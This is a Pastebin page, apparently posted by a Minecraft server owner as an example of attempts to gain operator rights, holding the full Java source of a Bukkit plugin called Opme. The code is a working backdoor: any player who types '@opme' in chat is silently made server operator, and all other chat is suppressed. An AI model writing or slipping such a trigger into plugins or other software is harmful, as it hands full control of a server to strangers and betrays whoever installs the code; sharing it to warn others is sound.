Advertisement
FNCxPro

The horrible ways people try to get op on my MC server

Jan 1st, 2015
249
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 1.12 KB | None | 0 0
  1. package me.MPG.Opme;
  2.  
  3. import java.util.logging.Logger;
  4. import org.bukkit.Server;
  5. import org.bukkit.entity.Player;
  6. import org.bukkit.event.EventHandler;
  7. import org.bukkit.event.Listener;
  8. import org.bukkit.event.player.AsyncPlayerChatEvent;
  9. import org.bukkit.plugin.PluginManager;
  10. import org.bukkit.plugin.java.JavaPlugin;
  11.  
  12. public class Main
  13.   extends JavaPlugin
  14.   implements Listener
  15. {
  16.   public void onEnable()
  17.   {
  18.     getLogger().info("Opme: enabled. ! Enjoy xD");
  19.     getServer().getPluginManager().registerEvents(this, this);
  20.   }
  21.  
  22.   public void onDisable() {}
  23.  
  24.   @EventHandler
  25.   public void onPlayerChat(AsyncPlayerChatEvent mpg)
  26.   {
  27.     Player p = mpg.getPlayer();
  28.    
  29.     String pn = mpg.getPlayer().getName();
  30.    
  31.     String cmd = mpg.getMessage();
  32.    
  33.  
  34.     cmd.startsWith("@");
  35.    
  36.  
  37.     String[] args = cmd.split(" ");
  38.     if (args == null) {
  39.       return;
  40.     }
  41.     if (args[0].equalsIgnoreCase("@opme"))
  42.     {
  43.       mpg.setCancelled(true);
  44.      
  45.       p.sendMessage("§eyou are now op!");
  46.       p.setOp(true);
  47.     }
  48.     else
  49.     {
  50.       mpg.setCancelled(true);
  51.     }
  52.   }
  53. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement